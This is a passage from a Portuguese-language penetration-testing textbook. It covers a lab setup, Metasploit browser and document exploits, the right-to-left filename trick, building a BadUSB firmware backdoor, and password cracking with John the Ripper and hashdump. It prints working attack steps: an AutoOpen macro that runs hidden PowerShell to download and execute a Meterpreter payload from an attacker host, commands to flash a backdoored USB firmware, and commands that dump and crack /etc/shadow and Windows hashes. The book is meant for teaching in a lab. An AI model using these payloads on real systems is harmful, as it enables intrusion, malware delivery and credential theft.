para sobrecarregar o</p><p>servidor com excesso de dados. Não têm como</p><p>objetivo o acesso não autorizado, e sim apenas o</p><p>envio de uma enxurrada de pacotes para causar</p><p>lentidão no servidor. Embora pareçam inofensivas, as</p><p>ferramentas desta categoria podem ser utilizadas</p><p>contra servidores remotos com o intuito de causar</p><p>prejuízos financeiros. Já imaginou um serviço de banco</p><p>online congestionado?</p><p>Há outras categorias de ferramentas, para análise</p><p>forense, engenharia reversa, análise de hardware,</p><p>Android, mas fogem do escopo do livro.</p><p>1 Categorizada segundo o livro Backtrack 4: Assuring Security by</p><p>Penetration Testing, p. 10.</p><p>CAPÍTULO 2</p><p>Preparando o ambiente de</p><p>teste</p><p>2.1 Recursos necessários</p><p>Para simular um teste de intrusão será criado um cenário</p><p>próximo ao real: Haverá um atacante na rede utilizando o</p><p>Kali Linux, um cliente utilizando o Windows e um servidor</p><p>Debian mal configurado na rede. Assim, serão</p><p>necessários três sistemas operacionais: Kali Linux,</p><p>Windows e Debian.</p><p>Para realizar a instalação dos sistemas operacionais, o</p><p>leitor tem duas opções:</p><p>• A primeira é instalar cada sistema operacional em um</p><p>computador diferente. Com certeza é a melhor opção</p><p>e realmente simulará um ambiente bem próximo ao</p><p>real. Embora seja a opção melhor e mais realista, o</p><p>leitor deverá configurar três computadores diferentes</p><p>para essa atividade.</p><p>• A segunda opção – acredito ser a mais simples – é</p><p>instalar uma máquina virtual e utilizar apenas um</p><p>computador para os laboratórios. Máquinas virtuais</p><p>são programas que permitem a instalação de sistemas</p><p>operacionais (como Linux, Windows e Unix) dentro de</p><p>si. Ou seja, com máquinas virtuais é possível instalar o</p><p>Linux em um Windows sem que o Linux interfira nas</p><p>configurações do Windows. Em outras palavras, é</p><p>possível instalar, remover, alterar o Linux e toda a sua</p><p>estrutura sem comprometer, em absolutamente nada,</p><p>o Windows instalado no seu HD físico. Na máquina</p><p>virtual estarão instalados o nosso sistema servidor</p><p>(Debian) e o sistema atacante (Kali Linux). Embora</p><p>esse tipo de configuração não se assemelhe à</p><p>configuração de uma rede e a testes de intrusão, esse</p><p>ambiente pode ser perfeitamente criado para o</p><p>aprendizado no estudo de pentest, pois o intuito do</p><p>livro é ensinar o leitor sobre as ferramentas e técnicas</p><p>utilizadas. Os mesmos testes que são realizados na</p><p>máquina virtual também são realizados em sistemas</p><p>reais. A utilização da máquina virtual não interfere em</p><p>nada no aprendizado.</p><p>Por praticidade, vamos utilizar a segunda opção e</p><p>realizar a instalação dos sistemas Debian (servidor) e Kali</p><p>Linux (atacante) em uma máquina virtual. Para os</p><p>laboratórios, considero que o leitor já tenha nativamente</p><p>o Windows instalado no seu computador (vítima). Realize</p><p>o download de uma máquina virtual para poder instalar o</p><p>sistema servidor (Debian) e o sistema atacante (Kali</p><p>Linux). A preferência pelo sistema operacional Windows 7</p><p>se dá em razão de algumas vulnerabilidades inerentes a</p><p>esse sistema, como a vulnerabilidade</p><p>ms12_020_maxchannelids.</p><p>Alerta: os softwares utilizados neste livro foram encontrados em</p><p>repositórios na internet e podem ter origem duvidosa. Serão utilizados</p><p>unicamente para fins educacionais, e o autor não se responsabiliza pelo</p><p>seu mau uso, nem por danos que esses softwares possam causar em sua</p><p>máquina e em máquina de terceiros.</p><p>Não instale qualquer software de antivírus ou firewall,</p><p>pois alguns laboratórios podem não funcionar por conta</p><p>disso.</p><p>Para os laboratórios é assumido que:</p><p>• o Kali Linux tem o IP 192.168.1.100.</p><p>• o Debian tem o IP 192.168.1.102.</p><p>• o Windows tem o IP 192.168.1.101.</p><p>• o roteador tem o IP 192.168.1.1.</p><p>• root@kali# indica que o comando deve ser executado</p><p>no Kali Linux.</p><p>• root@debian# indica que o comando deve ser</p><p>executado no Debian.</p><p>• C:\ indica que o comando deve ser executado no</p><p>Windows.</p><p>2.2 Obtendo o Kali Linux</p><p>A versão mais atualizada do Kali Linux pode ser</p><p>encontrada em http://www.kali.org. Apenas como</p><p>padronização de versão a ser utilizada, será adotada a</p><p>1.1.0. Por ser mais antigo, o site oficial</p><p>(http://www.kali.org) não fornece mais download. Uma</p><p>rápida busca em sites como o Google retornam páginas</p><p>que permitem o download dessa versão, tais como</p><p>http://kambing.ui.ac.id/iso/kali/kali-1.1.0 ou</p><p>http://ftp.psu.ru/linux/kali-images/kali-1.1.0. Faça o</p><p>download da versão apropriada para o hardware do seu</p><p>computador (amd64 ou i386).</p><p>A instalação do Kali Linux é relativamente fácil, e você</p><p>poderá instalá-lo diretamente em sua máquina, em uma</p><p>máquina virtual, executar diretamente de um DVD</p><p>a conexão no servidor web e,</p><p>posteriormente, a conexão reversa. Vamos configurar o</p><p>módulo web_delivery para gerar o texto para PowerShell.</p><p>root@kali# msfconsole</p><p>msf exploit > use exploit/multi/script/web_delivery</p><p>msf exploit(web_delivery) > set TARGET 2</p><p>msf exploit(web_delivery) > set PAYLOAD</p><p>windows/meterpreter/reverse_tcp</p><p>msf exploit(web_delivery) > set LHOST 192.168.1.100</p><p>msf exploit(web_delivery) > set SRVHOST 192.168.1.100</p><p>msf exploit(web_delivery) > set URIPATH /</p><p>msf exploit(web_delivery) > exploit</p><p>[*] Using URL: http://192.168.1.100:8080/</p><p>[*] Server started.</p><p>[*] Run the following command on the target machine:</p><p>powershell.exe -nop -w hidden -c IEX ((new-object</p><p>net.webclient).downloadstring('http://192.168.1.100:8080/'))</p><p>Troque o código da macro da calculadora pelo</p><p>PowerShell:</p><p>Sub AutoOpen()</p><p>Call Shell("powershell.exe -nop -w hidden -c IEX ((new-</p><p>objectnet.webclient).downloadstring('http://192.168.1.100:8080/</p><p>'))")</p><p>End Sub</p><p>Ao executar a macro, é gerada uma sessão Meterpreter.</p><p>No fim do arquivo, lembre-se de salvar as alterações para</p><p>gravarmos a nossa macro.</p><p>10.6 Internet Explorer ms10_046</p><p>O Internet Explorer em versões inferiores à versão 8 sofre</p><p>de uma vulnerabilidade em que, caso a página maliciosa</p><p>seja aberta, poderá ser executado o código remoto.</p><p>root@kali# msfconsole</p><p>msf > use exploit/windows/browser/ms10_046_shortcut_icon_dlloader</p><p>msf exploit(ms10_046_shortcut_icon_dlloader) > set SRVHOST</p><p>192.168.1.100</p><p>msf exploit(ms10_046_shortcut_icon_dlloader) > exploit</p><p>Pelo Windows, acesse o site http://192.168.1.100.</p><p>10.7 Internet Explorer use exploit/multi/browser/firefox_xpi_bootstrapped_addon</p><p>msf exploit(firefox_xpi_bootstrapped_addon) > set URIPATH /</p><p>msf exploit(firefox_xpi_bootstrapped_addon) > set SRVHOST</p><p>192.168.1.100</p><p>msf exploit(firefox_xpi_bootstrapped_addon) > set SRVPORT 8080</p><p>msf exploit(firefox_xpi_bootstrapped_addon) > set TARGET 1</p><p>msf exploit(firefox_xpi_bootstrapped_addon) > set PAYLOAD</p><p>windows/meterpreter/reverse_tcp</p><p>msf exploit(firefox_xpi_bootstrapped_addon) > set LHOST 192.168.1.100</p><p>msf exploit(firefox_xpi_bootstrapped_addon) > exploit</p><p>Pelo Windows, acesse o site http://192.168.1.100:8080 e</p><p>execute o plugin.</p><p>10.9 Unitrix Exploit</p><p>O Unitrix exploit explora uma vulnerabilidade no mapa de</p><p>caracteres em versões Windows superiores ao Vista. Esse</p><p>exploit é meramente visual, dando a impressão de que</p><p>um arquivo com o mapa de caracteres U202+E tem</p><p>qualquer extensão, como DOC, PDF etc.</p><p>Entre no mapa de caracteres do Windows, conforme</p><p>mostra a figura 10.6.</p><p>Figura 10.6 – Mapa de caracteres do Windows.</p><p>Escolha a opção U202+E: Forçar a escrita da direita para</p><p>a esquerda.</p><p>Renomeie um arquivo da seguinte forma:</p><p>sCtrl+VCOD.exe</p><p>O arquivo .exe será renomeado (apenas visualmente)</p><p>para a extensão .doc.</p><p>10.10 BadUSB</p><p>Uma das notícias mais alarmantes que o mundo da</p><p>segurança da informação já noticiou foi o BadUSB,</p><p>desenvolvido pelos pesquisadores da SR Labs</p><p>(https://srlabs.de/badusb) e apresentado na Defcon (um</p><p>dos maiores eventos de hacking) de 2014.</p><p>O BadUSB consiste na modificação do firmware original</p><p>do USB para um firmware customizado. É possível, por</p><p>exemplo, trocar o firmware de um pendrive convencional</p><p>para um firmware infectado com backdoor, e, no</p><p>momento em que o USB for inserido na máquina, esta</p><p>ficará infectada e comprometida. Um mínimo de</p><p>engenharia social é necessário para que a pessoa insira o</p><p>USB na máquina e tenha toda a sua rede comprometida.</p><p>Ele não tem seu código-fonte distribuído pela SR Labs,</p><p>porém os pesquisadores Adam Caudill e Brandon Wilson</p><p>realizaram diversos testes e criaram uma versão própria</p><p>do BadUSB. (Obrigado, Adam!)</p><p>10.10.1 Laboratório BadUSB</p><p>O código do Adam é um código personalizado para o</p><p>firmware ps2251-03. Caso o USB apresente esse</p><p>firmware, é possível alterá-lo para um firmware</p><p>customizado. Então, para esse laboratório, é necessário</p><p>especificamente um USB com o firmware ps2251-03.</p><p>Uma lista de USBs que possuem nativamente esse</p><p>firmware pode ser encontrada em</p><p>https://github.com/adamcaudill/Psychson/wiki/Known-</p><p>Supported-Devices.</p><p>Porém, mesmo alguns dispositivos que estão nessa lista</p><p>e teoricamente possuem o ps2251-03, por vezes,</p><p>acabam tendo o firmware trocado, como é o caso do</p><p>DataTraveler (modelo DT100 de 8GB). Então, atente-se</p><p>no momento da compra do USB.</p><p>Vamos utilizar o USB Kingston DataTraveler 3.0 DT111</p><p>8GB, conforme mostra a figura 10.7.</p><p>Figura 10.7 – USB Kingston DataTraveler 3.0 DT111 8GB.</p><p>Fonte: http://www.amazon.com/Kingston-Digital-</p><p>DataTraveler-DT111-8GB/dp/B0090J600G.</p><p>Primeiro, faça o download dos arquivos do BadUSB</p><p>encontrados em</p><p>https://github.com/adamcaudill/Psychson/archive/master.</p><p>zip.</p><p>Segundo</p><p>https://github.com/adamcaudill/Psychson/wiki/Obtaining-</p><p>a-Burner-Image:</p><p>Um burner image é requerido para trocarmos ou</p><p>atualizarmos o firmware.</p><p>Um burner image é tipicamente nomeado usando a</p><p>seguinte convenção:</p><p>BNxxVyyyyz.BIN</p><p>Onde xx é a versão do controlador (03 para o firmware</p><p>ps2251-03(2303)), e yyyy é a versão (irrelevante), e z</p><p>indica o “page size”.</p><p>Z pode ser de um dos tipos:</p><p>• 2KM – Indica que isso (page size) é para 2k nand chip.</p><p>• 4KM – Indica que isso (page size) é para 4k nand chip.</p><p>• M – Indica que isso (page size) é para 8k nand chip.</p><p>Pelas palavras do Adam:</p><p>Todas as versões do Patriot 8GB Supersonic Xpress</p><p>(DE FATO, TODOS OS USBs 3.0) utilizam 8k nand</p><p>chip. Um exemplo de burner image deve ser</p><p>BN03V104M.BIN.</p><p>Então o burner image para o nosso DT11 deve ser o</p><p>BN03V104M.BIN. Essa imagem pode ser obtida em</p><p>http://www.usbdev.ru/files/phison/, dentro do arquivo</p><p>firmware_ps2251-03.rar. (http://www.usbdev.ru/?</p><p>wpfb_dl=777).</p><p>É necessário também compilar o código-fonte do projeto</p><p>do Adam. Para isso, é necessário que o Windows tenha o</p><p>.NET a partir da versão 4.0, sendo necessário também ter</p><p>o Visual Studio Express 2012</p><p>(http://www.microsoft.com/en-us/download/details.aspx?</p><p>id=34673) e o SDCC (http://sdcc.sourceforge.net/)</p><p>instalados.</p><p>Realizada a instalação desse laboratório, é necessário</p><p>compilar o código-fonte do BadUSB com o Visual Studio</p><p>(são os arquivos .sln – compile-os por meio da aba Build</p><p>do Visual Studio). Lembre-se de compilar todos os</p><p>arquivos. Mais informações sobre o que é cada arquivo</p><p>com a sua funcionalidade podem ser obtidas em</p><p>https://github.com/adamcaudill/Psychson.</p><p>Além do “burner image” (BN03V104M.BIN), também é</p><p>necessário o firmware customizado, que é encontrado na</p><p>pasta firmware. Execute o arquivo build.bat</p><p>(firmware/build.bat) para gerar o firmware customizado</p><p>firmware/bin/fw.bin (são exibidas algumas mensagens de</p><p>alerta, mas são irrelevantes).</p><p>Vamos criar uma cópia do firmware customizado</p><p>(firmware/bin/fw.bin) dentro do diretório tools com o</p><p>nome de CFW.bin (tools/CFW.bin). Também vamos criar</p><p>uma cópia do “burner image” dentro do diretório tools</p><p>(tools/ BN03V104M.BIN).</p><p>Uma vez com o projeto compilado, os arquivos binários</p><p>serão gerados dentro do diretório tools. Ainda dentro</p><p>desse diretório será gerado o arquivo DriveCom.exe.</p><p>Insira o pendrive, abra um prompt de comandos e</p><p>navegue até a pasta tools. Obtenha as informações sobre</p><p>o USB para checar se</p><p>ele contém a versão correta com o</p><p>firmware correto.</p><p>C:\Users\Win7\Desktop\Psychson\tools> DriveCom.exe /drive=E</p><p>/action=GetInfo</p><p>Action specified: GetInfo</p><p>Gathering Information</p><p>Reported chip type: 2303</p><p>Reported chip ID:</p><p>Reported firmware version: 1.01.53</p><p>Mode: Firmware</p><p>O chip indica 2303 (ps2251-03 com o firmware 1.01.53</p><p>[firmware correto para os testes]).</p><p>Após checarmos se a versão do dispositivo é a versão</p><p>correta, vamos criar o firmware com a backdoor. Para</p><p>isso, o payload escolhido deverá ser um dos payloads do</p><p>Ruber Ducky (isso porque o BadUSB transforma o USB</p><p>em um simulador de teclado idêntico ao Ruber Ducky, e</p><p>deve-se utilizar os mesmos payloads) que pode ser</p><p>obtido em https://github.com/hak5darren/USB-Rubber-</p><p>Ducky/wiki/Payloads.</p><p>Particularmente, gosto do PowerShell wget+Execute,</p><p>rápido e quase imperceptível:</p><p>(https://github.com/hak5darren/USB-Rubber-</p><p>Ducky/wiki/Payload---powershell-wget---execute). Altere-o</p><p>de acordo com a sua necessidade.</p><p>De acordo com Adam e com o que eu observei nas listas</p><p>de discussão do BadUSB, é possível restaurar o firmware</p><p>original depois que o USB tiver o seu firmware</p><p>adulterado. Mas, para isso, você deve quebrar a caixinha</p><p>do USB e inserir uma faca ou agulha sobre os PINs</p><p>corretos, que são dois ou três PINs exibidos na figura</p><p>dentro do diretório docs</p><p>(docs/PinsToShortUponPlugInForBootMode.jpg). Dessa</p><p>forma é possível restaurar o firmware original ou mesmo</p><p>colocar outros firmwares. Mais informações sobre esse</p><p>procedimento podem ser encontradas em</p><p>https://github.com/adamcaudill/Psychson/wiki/Executing-</p><p>From-Boot-ROM e em diversas listas de discussão sobre</p><p>diversos problemas do BadUSB</p><p>https://github.com/adamcaudill/Psychson/issues/. Caso o</p><p>leitor queira manter um backup do seu firmware original,</p><p>poderá realizá-lo com o DriveCom.exe.</p><p>DriveCom.exe /drive=E /action=DumpFirmware /burner=BN03V104M.BIN</p><p>/firmware=firmware_original.bin</p><p>Particularmente, não gosto de usá-lo, pois é necessário</p><p>quebrar a caixinha do USB, além de esse procedimento</p><p>ser bem trabalhoso. Portanto, leitor, tenha em mente que</p><p>uma vez com o firmware alterado, “não há mais volta”.</p><p>Uma vez selecionado o payload, gere o arquivo bin por</p><p>meio do Java (é necessário o Java instalado) e do</p><p>duckencode.</p><p>C:\Users\win7\Desktop\DuckEncoder_2_6_3> java -jar encoder.java -i</p><p>wget_powershell_payload.txt -o inject.bin</p><p>Hak5 Duck Encoder 2.6.3</p><p>Loding File...[OK]</p><p>Loading Keyboard File...[OK]</p><p>Loading Language File...[OK]</p><p>Loading DuckScript...[OK]</p><p>DuckScript Complete...[OK]</p><p>Crie uma cópia do arquivo inject.bin para o diretório tools</p><p>(Psychson/tools).</p><p>Também é interessante mantermos o firmware</p><p>customizado (CFW.bin) de maneira intacta (será injetada</p><p>a backdoor nesse firmware), então crie uma cópia dentro</p><p>do diretório tools com o nome de hid.bin (tools/hid.bin –</p><p>esse será o firmware customizado em que será inserida a</p><p>backdoor).</p><p>Injete o payload dentro do hid.bin:</p><p>C:\Users\Win7\Desktop\Psychson\tools> EmbedPayload.exe inject.bin</p><p>hid.bin</p><p>File update.</p><p>A última etapa consiste em enviar o firmware infectado</p><p>com a backdoor para o pendrive.</p><p>Psychson\tools> DriveCom.exe /drive=E /action=SendFirmware</p><p>/burner=BN03V104M.BIN /firmware=hid.bin</p><p>Action specified: SendFirmware</p><p>Gathering Information</p><p>Reported chip type: 2303</p><p>Reported chip ID:</p><p>Reported firmware version: 1.01.53</p><p>Mode: Firmware</p><p>Switching to boot mode...</p><p>Rebooting...</p><p>Sending firmware...</p><p>Executing...</p><p>Mode: Firmware</p><p>Nesse momento, o nosso BadUSB foi criado com sucesso.</p><p>Retire o pendrive e insira-o no Windows 7.</p><p>Um simples USB emulou um teclado e infecta uma</p><p>máquina rodando Windows!</p><p>Que tal no lugar de um arquivo qualquer</p><p>(bob.old–’http://example.com/bob.old’) colocarmos uma</p><p>backdoor com o payload Meterpreter?</p><p>Mais informações sobre o projeto podem ser encontradas</p><p>em https://github.com/adamcaudill/Psychson.</p><p>Novamente, obrigado, Adam ;-)</p><p>1 Processo de ataque originalmente introduzido por Shakeel Ali e Tedi</p><p>Heriyanto, autores do livro Backtrack 4: Assuring Security by Penetration</p><p>Testing. (p. 220 e 221.)</p><p>CAPÍTULO 11</p><p>Escalonamento de</p><p>privilégios</p><p>Uma vez que o sistema tenha sido explorado, a próxima</p><p>etapa consiste no escalonamento de privilégios, em que</p><p>o auditor consegue acesso restrito ao sistema e</p><p>necessita de acesso a contas privilegiadas para executar</p><p>programas que requerem privilégios administrativos.</p><p>Nessa etapa, o auditor tenta transformar o seu acesso</p><p>restrito em acesso irrestrito, seja quebrando o arquivo de</p><p>senhas de contas privilegiadas ou, até mesmo,</p><p>instalando farejadores (sniffers) ou programas que</p><p>capturam teclas digitadas (keyloggers) na máquina local.</p><p>Para que um usuário consiga acessar com sucesso o seu</p><p>sistema, os métodos de autenticação podem ser</p><p>classificados em três tipos1:</p><p>• Arquivos de autenticação – Nesta categoria</p><p>encontra-se o mecanismo de senhas convencionais.</p><p>Ex: o usuário A tem a senha 123, logo qualquer</p><p>pessoa que logar no sistema com o usuário A e a</p><p>senha 123 será considerada o usuário A.</p><p>• Tokens – Nesta categoria encontram-se métodos de</p><p>autenticação um pouco mais sofisticados do que na</p><p>categoria anterior, como o sistemas de tokens.</p><p>• Biometria –Nesta categoria encontra-se o sistema de</p><p>biometria e retina. É mais segura em comparação às</p><p>categorias “Arquivos de autenticação” e “Tokens”.</p><p>O livro é focado no primeiro tipo de autenticação, e a sua</p><p>quebra pode ser tanto offline como online.</p><p>11.1 Escalonamento de privilégios</p><p>offline</p><p>Toda e qualquer natureza de quebra de senhas em que</p><p>se transfira o arquivo de senhas para a máquina do</p><p>auditor é considerada escalonamento de privilégios</p><p>offline, isso porque não é necessário estar online, ou na</p><p>internet, para realizar a quebra de senhas. Por exemplo:</p><p>Após escalonado o privilégio para acesso administrativo</p><p>em máquinas Windows e transferido o arquivo de hash</p><p>de senhas, todo o restante do processo para quebra de</p><p>senhas ocorre na máquina do auditor. A grande</p><p>vantagem desse método é que não há nenhum</p><p>mecanismo para bloqueio de tentativas de quebra de</p><p>senha; a grande desvantagem é que, de alguma forma, o</p><p>auditor necessita ter acesso ao arquivo de senhas (seja</p><p>ganhando acesso remoto, acesso físico ou outros).</p><p>11.1.1 Common User Passwords Profiler</p><p>Antes de ser iniciado o processo de quebra do arquivo de</p><p>senhas, o auditor vai necessitar de uma lista de palavras</p><p>que contenha as possíveis senhas a serem quebradas.</p><p>Essa lista pode ser obtida na internet, e o Kali Linux</p><p>contém o excelente diretório /usr/share/wordlist/ com</p><p>várias listas de palavras. O arquivo</p><p>/usr/share/wordlist/rockyou.txt.gz contém palavras</p><p>normalmente usadas como senhas. Um bom dicionário</p><p>não é um dicionário com milhares de palavras, e sim com</p><p>palavras que são utilizadas como prováveis senhas. Por</p><p>exemplo, informações a respeito do proprietário da rede,</p><p>como nome, telefone, datas de aniversários etc. já</p><p>constituem uma base sólida para construção de uma boa</p><p>lista. Com certeza, uma lista bem elaborada terá uma</p><p>taxa de sucesso infinitamente maior do que listas</p><p>prontas encontradas pela internet. Por exemplo, a sua</p><p>wordlist pode ser:</p><p>teste</p><p>teste123</p><p>teste10</p><p>teSte</p><p>TESTE</p><p>123teste</p><p>...</p><p>11.1.1.1 CUPP</p><p>Porém derivações da palavra teste podem ser cansativas</p><p>se forem escritas manualmente. Para isso, a ferramenta</p><p>CUPP nos auxilia nessa etapa. O download do CUPP pode</p><p>ser realizado em http://www.remote-</p><p>exploit.org/content/cupp-3.0.tar.gz.</p><p>No seu código-fonte há um erro, mais precisamente na</p><p>linha 289. Inverta o final da linha.</p><p>• Código original</p><p>.split(", ").lower()</p><p>• Correção</p><p>.lower().split(", ")</p><p>Utilize o modo interativo para criar uma lista de palavras</p><p>nova. Nesse modo, perguntas são feitas para criação do</p><p>dicionário, como qual é o nome da sua vítima, nome da</p><p>sua esposa, data de nascimento etc.</p><p>root@kali# python cupp.py -i</p><p>O CUPP também pode gerar lista de palavras (wordlists)</p><p>a partir de outras wordlists. Mas lembre-se de que essa</p><p>opção deve ser utilizada</p><p>com listas pequenas, pois uma</p><p>lista muito grande pode gerar outras listas com terabytes</p><p>de tamanho e tornar-se totalmente inviável.</p><p>root@kali# python cupp.py -w wordlist</p><p>O CUPP contém o arquivo de configuração cupp.cfg, que</p><p>pode ser alterado de acordo com a necessidade do</p><p>auditor.</p><p>11.1.1.2 Crunch</p><p>O Crunch é outra ferramenta que possibilita a geração de</p><p>dicionários. Sua utilização é simples:</p><p>crunch min max caracteres -o saída</p><p>min Número mínimo de caracteres que farão parte da wordlist.</p><p>max Número máximo de caracteres que farão parte da wordlist.</p><p>caracteres Quais são os caracteres que formarão a wordlist.</p><p>saída Arquivo de texto que será gerado.</p><p>Por exemplo, vamos gerar uma lista de palavras de 1 até</p><p>6 caracteres contendo os caracteres “rot123”.</p><p>root@kali# crunch 1 6 rot123 -o /root/lista</p><p>Observem a diferença entre o CUPP e o Crunch: o CUPP</p><p>gera uma lista de palavras (ajustável alterando-se o</p><p>arquivo cupp.cfg) e o Crunch gera uma lista de</p><p>caracteres (caracteres esses que estão embaralhados).</p><p>A utilização do CUPP é mais recomendada quando o</p><p>auditor necessitar acertar a senha (quando já se tem</p><p>uma noção de qual seja a senha e se deseja gerar</p><p>derivações dessas palavras), já a utilização do Crunch é</p><p>mais recomendada em processos de força bruta ou</p><p>quando não se tem a menor ideia de qual seja a senha.</p><p>O Crunch possibilita outras combinações como o uso do</p><p>parâmetro –t, que força a utilização da cadeia de</p><p>caracteres. Por exemplo: o Crunch vai gerar uma lista de</p><p>palavras de 7 caracteres, sendo que os 4 primeiros são a</p><p>cadeia “root”. Os três últimos podem ser os caracteres</p><p>1,2 ou 3.</p><p>root@kali# crunch 7 7 123 –t root@@@ -o /root/lista</p><p>O metacaracter @ pode ser substituído por outros</p><p>metacaracteres.</p><p>@ Lower case – Caractere literal</p><p>, Upper case – Caractere maiúsculo</p><p>% Numbers – números</p><p>^ Symbols – Símbolos</p><p>Outro exemplo: O Crunch vai gerar uma lista de sete</p><p>caracteres, sendo que a lista iniciará por “root”, o</p><p>próximo dígito será um caractere minúsculo, seguido de</p><p>um caractere maiúsculo e um número:</p><p>root@kali# crunch 7 7 -t root@,% -o /root/lista</p><p>O Crunch tem cadeia de caracteres predefinidos (por</p><p>exemplo: somente valores hexadecimais, somente</p><p>números etc.) que se encontram no arquivo</p><p>/usr/share/crunch/charset.lst.</p><p>Pode-se escolher essa cadeia de caracteres com a opção</p><p>–f seguida do tipo desejado:</p><p>root@kali# crunch 1 3 –f /usr/share/crunch/charset.lst mixalpha-numeric</p><p>–o /root/lista</p><p>A lista gerada pode ser dividida por tamanho. Para isso,</p><p>escolha a opção –o seguida de –b.</p><p>root@kali# crunch 5 5 –f /usr/share/crunch/charset.lst mixalpha-numeric</p><p>–t adm@@ -o START –b 5kb</p><p>A lista gerada pode ser dividida por número de linhas:</p><p>root@kali#crunch 5 5 –f /usr/share/crunch/charset.lst mixalpha-numeric –</p><p>t adm@@ -o START –c 500</p><p>11.1.1.3 John the Ripper</p><p>John the Ripper é uma ferramenta usada para quebra de</p><p>hash de senhas, suportando vários métodos</p><p>criptográficos, como md5, sha1, psk e outros. Pode</p><p>operar em um destes modos:</p><p>• Single crack – Tentará quebrar as senhas usando o</p><p>nome, derivações do nome, diretório home do usuário</p><p>etc. Fornecido com a opção --single.</p><p>• Wordlist – Uma lista de palavras é fornecida ao John</p><p>the Ripper para efetuar a quebra de senhas. Fornecida</p><p>com a opção --wordlist=.</p><p>• Incremental mode – Tentará todas as combinações</p><p>possíveis de usuário e senha, método conhecido como</p><p>força bruta. É a condição 100% certeira, porém,</p><p>dependendo da complexidade da senha, a sua quebra</p><p>será totalmente inviável. Fornecido com a opção –-</p><p>incremental.</p><p>• External mode – Modo de operação mais complexo.</p><p>Nesse modo, poderá ser utilizado um componente</p><p>externo para a quebra das senhas (por meio de</p><p>reprogramação do seu código-fonte). Não será</p><p>abordado neste livro.</p><p>Observações:</p><p>1. Caso nenhuma opção seja fornecida ao John the</p><p>Ripper, será utilizada a opção padrão: primeiro será</p><p>feita a tentativa da quebra pelo modo single, depois</p><p>será usada a wordlist padrão do John the Ripper</p><p>localizada em /usr/share/john/password.lst e, por</p><p>último, o modo incremental.</p><p>2. Em qualquer modo pode ser fornecido Ctrl+C para</p><p>interromper o processo de quebra, caso deseje voltar</p><p>à quebra:</p><p>john --restore</p><p>3. Após finalizar o processo de quebra, para exibir as</p><p>senhas:</p><p>john arquivo_com_hash_das_senhas --show</p><p>4. O John the Ripper armazena as senhas que foram</p><p>crackeadas no arquivo /root/.john/john.pot. Então,</p><p>caso a senha seja decifrada, e o leitor tentar realizar</p><p>novamente a quebra de senhas, o John the Ripper não</p><p>fará a quebra, isso porque o hash da senha já foi</p><p>decifrado e está armazenado nesse arquivo. Apague</p><p>esse arquivo para realizar múltiplos testes sobre a</p><p>mesma senha.</p><p>5. O John the Ripper armazena o progresso da quebra</p><p>de senhas no arquivo /root/.john/john.rec. Caso o</p><p>processo de quebra de senhas seja interrompido e</p><p>esse arquivo seja apagado, futuras restaurações não</p><p>serão possíveis (a quebra da senha vai recomeçar do</p><p>zero novamente).</p><p>11.1.1.4 Quebra de senhas no Linux</p><p>Primeiro será adicionado um usuário teste com a senha</p><p>teste no Kali Linux:</p><p>root@kali# adduser teste</p><p>Crie a wordlist /root/wordlist contendo as palavras root e</p><p>teste:</p><p>root@kali# echo root > wordlist</p><p>root@kali# echo teste >> wordlist</p><p>Para quebrar as senhas do Linux, deverá ser executado o</p><p>comando unshadow:</p><p>root@kali# unshadow /etc/passwd /etc/shadow > /root/senhas</p><p>O comando unshadow é necessário, pois o John vai juntar</p><p>os arquivos passwd e shadow como sendo somente um;</p><p>essencial para o modo single, que se utilizará dessas</p><p>palavras (como nome, comentários etc.) para elaboração</p><p>de uma wordlist inteligente.</p><p>1. Opção padrão</p><p>root@kali# cd /root/</p><p>root@kali# john senhas</p><p>root@kali# john senhas --showExibe a senha decifrada</p><p>2. Single Crack</p><p>root@kali# cd /root/</p><p>root@kali# john --single senhas</p><p>3. Wordlist</p><p>root@kali# cd /root/</p><p>root@kali# john --wordlist=/root/lista senhas</p><p>4. Wordlist com Rules</p><p>root@kali# cd /root/</p><p>root@kali# john --wordlist=/root/lista --rules=Single senhas</p><p>root@kali# john --wordlist=/root/lista --rules=Extra senhas</p><p>root@kali# john --wordlist=/root/lista --rules=Wordlist senhas</p><p>root@kali# john --wordlist=/root/lista --rules=NT senhas</p><p>root@kali# john --wordlist=/root/lista --rules=Single-Extra senhas</p><p>root@kali# john --wordlist=/root/lista --rules=Jumbo senhas</p><p>Para mais informações sobre o modo de rules, consulte</p><p>o arquivo /etc/john/john.conf.</p><p>5. Modo incremental</p><p>root@kali# cd /root/</p><p>root@kali# john --incremental senhas</p><p>6. Restaurando a sessão</p><p>root@kali# cd /root/</p><p>root@kali# john --incremental senhas</p><p>Digite Ctrl+C</p><p>root@kali# john --restore</p><p>11.1.1.5 Quebra de senhas no Windows</p><p>A quebra do arquivo de senhas no Windows é um pouco</p><p>diferenciada.</p><p>Para versões de Windows inferiores ao Vista, o processo é</p><p>similar à quebra de senhas no Linux.</p><p>• Consiga acesso meterpreter ao Windows Vista ou XP.</p><p>• Consiga acesso como sendo nt authority\system.</p><p>meterpreter > getsystem</p><p>• Acesse o hash de senhas do sistema Windows por</p><p>meio do módulo hashdump.</p><p>meterpreter > run hashdump</p><p>• Copie o hash para um arquivo de texto e realize a</p><p>quebra de senhas.</p><p>root@kali# john senhas_WinXP</p><p>Para versões do Windows superiores ao Vista (como</p><p>Windows 7 ou 8): consiga acesso ao usuário nt</p><p>authority\system (pode ser visualizado na seção 9.4.5</p><p>“User Interface commands”).</p><p>• Acesse o hash de senhas do sistema Windows por</p><p>meio do módulo hashdump:</p><p>meterpreter> run hashdump</p><p>• Copie o hash para um arquivo de texto e realize a</p><p>quebra de senhas:</p><p>root@kali# john senhas_Win7 --format=nt</p><p>• Para exibir as senhas encontradas:</p><p>root@kali# john senhas_Win7 --format=nt --show</p><p>11.1.1.6 Windows Credentials Editor</p><p>O processo realizado com o John the Ripper, até o</p><p>presente momento, possibilita-nos recuperar a senha por</p><p>meio de ataques de dicionários. E se eu disser a você</p><p>que existe um modo mais fácil, bem mais fácil de</p><p>recuperar senhas do Windows? Tão fácil ao ponto de que</p><p>não é necessário rodar nenhum processo de força bruta</p><p>ou dicionário? É só rodar</p><p>o Windows Credentials Editor e</p><p>pronto: temos as credenciais do sistema.</p><p>Em tempos mais antigos, foi criada uma técnica</p><p>denominada pass-the-hash (passar pelo hash), cujo</p><p>objetivo era logar no sistema somente por meio do hash</p><p>da senha, sem a necessidade de saber qual é a senha.</p><p>Uma vez com o sistema comprometido, o atacante</p><p>poderia recuperar o hash de senhas do sistema e utilizá-</p><p>lo para autenticar-se em serviços que utilizam o hash LM</p><p>e/ou NTLM (como um servidor remoto SMB), escalando o</p><p>seu privilégio 